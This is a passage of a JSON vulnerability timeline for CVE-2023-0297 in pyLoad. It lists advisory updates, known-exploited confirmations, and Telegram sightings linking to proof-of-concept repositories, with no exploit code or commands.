"c8ebcd06-5707-4fb6-9e7c-49203352b5b4"}, {"timestamp": "2025-04-07T18:41:46.711Z", "date_only": false, "value": "2025-04-07T18:41:46.711629Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "cve-2023-0297", "field": "containers.adp.1.metrics.0.other.content.timestamp"}, {"timestamp": "2025-04-07T18:41:46.711Z", "date_only": false, "value": "2025-04-07T18:41:46.711629Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2023-0297", "record": "FKIE_CVE-2023-0297", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2025-04-07T18:41:55.800Z", "date_only": false, "value": "2025-04-07T18:41:55.800Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "cve-2023-0297", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2025-04-07T18:41:55.800Z", "date_only": false, "value": "2025-04-07T18:41:55.800Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "cve-2023-0297", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2025-10-23T21:13:00Z", "date_only": false, "value": "2025-10-23T21:13:00.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "record": "CVE-2023-0297", "field": "creation_timestamp", "uuid": "1448540f-c8e3-45d1-972b-a73dbf70a063"}, {"timestamp": "2026-06-17T05:25:14.073Z", "date_only": false, "value": "2026-06-17T05:25:14.073", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2023-0297", "record": "FKIE_CVE-2023-0297", "field": "lastModified"}, {"timestamp": "2026-06-23T14:02:37Z", "date_only": false, "value": "2026-06-23T14:02:37+00:00", "kind": "kev", "label": "Recorded", "source": "kevintel", "record": "CVE-2023-0297", "field": "timestamps.recorded_at", "uuid": "97e0616a-22e1-486c-bf0a-8b71ebf2e83d", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-06-23T14:06:14.287Z", "date_only": false, "value": "2026-06-23T14:06:14.287513Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/97e0616a-22e1-486c-bf0a-8b71ebf2e83d", "record": "CVE-2023-0297", "field": "creation_timestamp", "uuid": "8335b9a5-8f7f-4781-a4a2-de8df6db2a73", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/97e0616a-22e1-486c-bf0a-8b71ebf2e83d"}, {"timestamp": "2026-06-29T11:50:44.189Z", "date_only": false, "value": "2026-06-29T11:50:44.189733Z", "kind": "milestone", "label": "Published", "source": "pysec \u00b7 PYSEC-2026-498", "record": "PYSEC-2026-498", "field": "published"}, {"timestamp": "2026-06-30T10:22:22.059Z", "date_only": false, "value": "2026-06-30T10:22:22.059720Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/c950e1e7-3635-4981-a945-4046a692eda7", "record": "CVE-2023-0297", "field": "creation_timestamp", "uuid": "02f22289-ec64-442b-93eb-cf3632fe249b", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/c950e1e7-3635-4981-a945-4046a692eda7"}, {"timestamp": "2026-06-30T15:16:12Z", "date_only": false, "value": "2026-06-30T15:16:12+00:00", "kind": "kev", "label": "Recorded", "source": "shadowserver", "record": "CVE-2023-0297", "field": "timestamps.recorded_at", "uuid": "c950e1e7-3635-4981-a945-4046a692eda7", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-01T20:23:02.943Z", "date_only": false, "value": "2026-07-01T20:23:02.943788Z", "kind": "other", "label": "Updated", "source": "pysec \u00b7 PYSEC-2026-498", "record": "PYSEC-2026-498", "field": "modified"}, {"timestamp": "2026-07-29T12:00:22.637Z", "date_only": false, "value": "2026-07-29T12:00:22.637070Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CVEhub/15088", "record": "CVE-2023-0297", "field": "creation_timestamp", "uuid": "05fcedce-e13b-4423-b3f4-15c0a43e2dcb", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-0297*\nGithub: https://github.com/overgrowncarrot1/CVE-2023-0297", "url": "https://t.me/CVEhub/15088"}, {"timestamp": "2026-07-29T12:00:30.432Z", "date_only": false, "value": "2026-07-29T12:00:30.432591Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CVEhub/13425", "record": "CVE-2023-0297", "field": "creation_timestamp", "uuid": "c6c367dd-8733-44fa-86c6-604f1c7eef6c", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-0297*\nGithub: https://github.com/JacobEbben/CVE-2023-0297", "url": "https://t.me/CVEhub/13425"}, {"timestamp": "2026-07-31T00:00:10.587Z", "date_only": false, "value": "2026-07-31T00:00:10.587501Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CVEhub/13425", "record": "CVE-2023-0297", "field": "creation_timestamp", "uuid": "e292f52c-1a6f-48ef-88e5-45cb1008a1e3", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-0297*\nGithub: https://github.com/JacobEbben/CVE-2023-0297", "url": "https://t.me/CVEhub/13425"}, {"timestamp": "2026-07-31T00:00:31.493Z", "date_only": false, "value": "2026-07-31T00:00:31.493471Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CVEhub/15088", "record": "CVE-2023-0297", "field": "creation_timestamp", "uuid": "f2acac3d-d5e9-4ef4-a479-c7bcc866d06d", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-0297*\nGithub: https://github.com/overgrowncarrot1/CVE-2023-0297", "url": "https://t.me/CVEhub/15088"}, {"timestamp": "2026-09-01T20:01:05.763Z", "date_only": false, "value": "2026-09-01T20:01:05.763732Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/86549", "record": "CVE-2023-0297", "field": "creation_timestamp", "uuid": "ef7f958b-f1c8-46f3-b9b4-f2873cc77908", "content": "Hacking on Medium\nCVE-2023-0297\n\nIn 2021, a security researcher discovered a critical vulnerability in the popular file-sharing application pyLoad. This vulnerability\u2026\n\nContinue reading on Medium \u00bb", "url": "https://t.me/hacking_Attack/86549"}]}